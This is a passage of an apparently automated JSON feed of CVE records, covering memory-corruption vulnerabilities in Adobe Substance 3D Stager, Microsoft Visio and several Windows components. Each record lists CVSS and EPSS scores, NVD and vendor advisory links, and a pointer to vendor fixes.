references)","url":"https://www.adobe.com/trust/security/products/substance3d-stager/apsb26-170.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103836&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103836, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103835","cveId":"CVE-2026-103835","aliases":[],"kind":"vulnerability","title":"Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:09.767Z","updatedAt":"2026-10-19T20:58:10.557Z","regions":["Global"],"vendor":"adobe","product":"substance 3d stager","stacks":["Adobe","substance 3d stager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103835","asOf":"2026-10-19T20:58:10.557Z"},"epss":{"probability":0.00138,"percentile":0.03176,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103835&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103835","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103835","type":"primary","publishedAt":"2026-10-13T20:17:09.767Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/substance3d-stager/apsb26-170.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103835&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103835, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103834","cveId":"CVE-2026-103834","aliases":[],"kind":"vulnerability","title":"Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:09.650Z","updatedAt":"2026-10-19T20:57:47.217Z","regions":["Global"],"vendor":"adobe","product":"substance 3d stager","stacks":["Adobe","substance 3d stager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103834","asOf":"2026-10-19T20:57:47.217Z"},"epss":{"probability":0.00138,"percentile":0.03176,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103834&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103834","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103834","type":"primary","publishedAt":"2026-10-13T20:17:09.650Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/substance3d-stager/apsb26-170.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103834&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103834, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103833","cveId":"CVE-2026-103833","aliases":[],"kind":"vulnerability","title":"Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:09.533Z","updatedAt":"2026-10-19T20:57:26.253Z","regions":["Global"],"vendor":"adobe","product":"substance 3d stager","stacks":["Adobe","substance 3d stager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103833","asOf":"2026-10-19T20:57:26.253Z"},"epss":{"probability":0.00138,"percentile":0.03176,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103833&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103833","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103833","type":"primary","publishedAt":"2026-10-13T20:17:09.533Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/substance3d-stager/apsb26-170.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103833&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103833, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103832","cveId":"CVE-2026-103832","aliases":[],"kind":"vulnerability","title":"Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:09.410Z","updatedAt":"2026-10-19T20:57:19.327Z","regions":["Global"],"vendor":"adobe","product":"substance 3d stager","stacks":["Adobe","substance 3d stager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103832","asOf":"2026-10-19T20:57:19.327Z"},"epss":{"probability":0.00138,"percentile":0.03177,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103832&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103832","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103832","type":"primary","publishedAt":"2026-10-13T20:17:09.410Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/substance3d-stager/apsb26-170.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103832&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103832, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103830","cveId":"CVE-2026-103830","aliases":[],"kind":"vulnerability","title":"Substance3D - Stager is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Substance3D - Stager is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Substance3D - Stager is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:09.290Z","updatedAt":"2026-10-19T20:56:44.257Z","regions":["Global"],"vendor":"adobe","product":"substance 3d stager","stacks":["Adobe","substance 3d stager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103830","asOf":"2026-10-19T20:56:44.257Z"},"epss":{"probability":0.00174,"percentile":0.06821,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103830&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103830","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103830","type":"primary","publishedAt":"2026-10-13T20:17:09.290Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/substance3d-stager/apsb26-170.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103830&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103830, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102855","cveId":"CVE-2026-102855","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Visio allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Visio allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Visio allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:07.010Z","updatedAt":"2026-10-20T12:37:42.130Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102855","asOf":"2026-10-20T12:37:42.130Z"},"epss":{"probability":0.00777,"percentile":0.55551,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102855&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102855","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102855","type":"primary","publishedAt":"2026-10-13T20:17:07.010Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102855","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102855&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102855, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97830","cveId":"CVE-2026-97830","aliases":[],"kind":"vulnerability","title":"Double free in Windows Internet Information Services allows an unauthorized attacker to deny service over a network.","summary":"Double free in Windows Internet Information Services allows an unauthorized attacker to deny service over a network.","detail":"Double free in Windows Internet Information Services allows an unauthorized attacker to deny service over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:22.557Z","updatedAt":"2026-10-14T20:19:55.197Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97830","asOf":"2026-10-14T20:19:55.197Z"},"epss":{"probability":0.01073,"percentile":0.64674,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97830&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97830","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97830","type":"primary","publishedAt":"2026-10-13T19:22:22.557Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97830","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97830&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97830, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97812","cveId":"CVE-2026-97812","aliases":[],"kind":"vulnerability","title":"Double free in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally.","summary":"Double free in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally.","detail":"Double free in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:19.467Z","updatedAt":"2026-10-16T17:18:05.460Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 21h2","stacks":["Microsoft Windows","windows 10 21h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97812","asOf":"2026-10-16T17:18:05.460Z"},"epss":{"probability":0.00279,"percentile":0.20192,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97812&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97812","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97812","type":"primary","publishedAt":"2026-10-13T19:22:19.467Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97812","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97812&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97812, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97811","cveId":"CVE-2026-97811","aliases":[],"kind":"vulnerability","title":"Double free in OpenSSH for Windows allows an authorized attacker to elevate privileges locally.","summary":"Double free in OpenSSH for Windows allows an authorized attacker to elevate privileges locally.","detail":"Double free in OpenSSH for Windows allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:19.310Z","updatedAt":"2026-10-16T17:18:05.313Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","OpenSSH","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97811","asOf":"2026-10-16T17:18:05.313Z"},"epss":{"probability":0.00291,"percentile":0.21485,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97811&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97811","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97811","type":"primary","publishedAt":"2026-10-13T19:22:19.310Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97811","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97811&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97811, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97810","cveId":"CVE-2026-97810","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:19.183Z","updatedAt":"2026-10-16T10:40:03.100Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 24h2","stacks":["Microsoft Windows","windows 11 24h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97810","asOf":"2026-10-16T10:40:03.100Z"},"epss":{"probability":0.00279,"percentile":0.20192,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97810&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97810","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97810","type":"primary","publishedAt":"2026-10-13T19:22:19.183Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97810","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97810&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97810, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97809","cveId":"CVE-2026-97809","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:19.043Z","updatedAt":"2026-10-16T17:18:05.117Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97809","asOf":"2026-10-16T17:18:05.117Z"},"epss":{"probability":0.00303,"percentile":0.22816,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97809&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97809","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97809","type":"primary","publishedAt":"2026-10-13T19:22:19.043Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97809","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 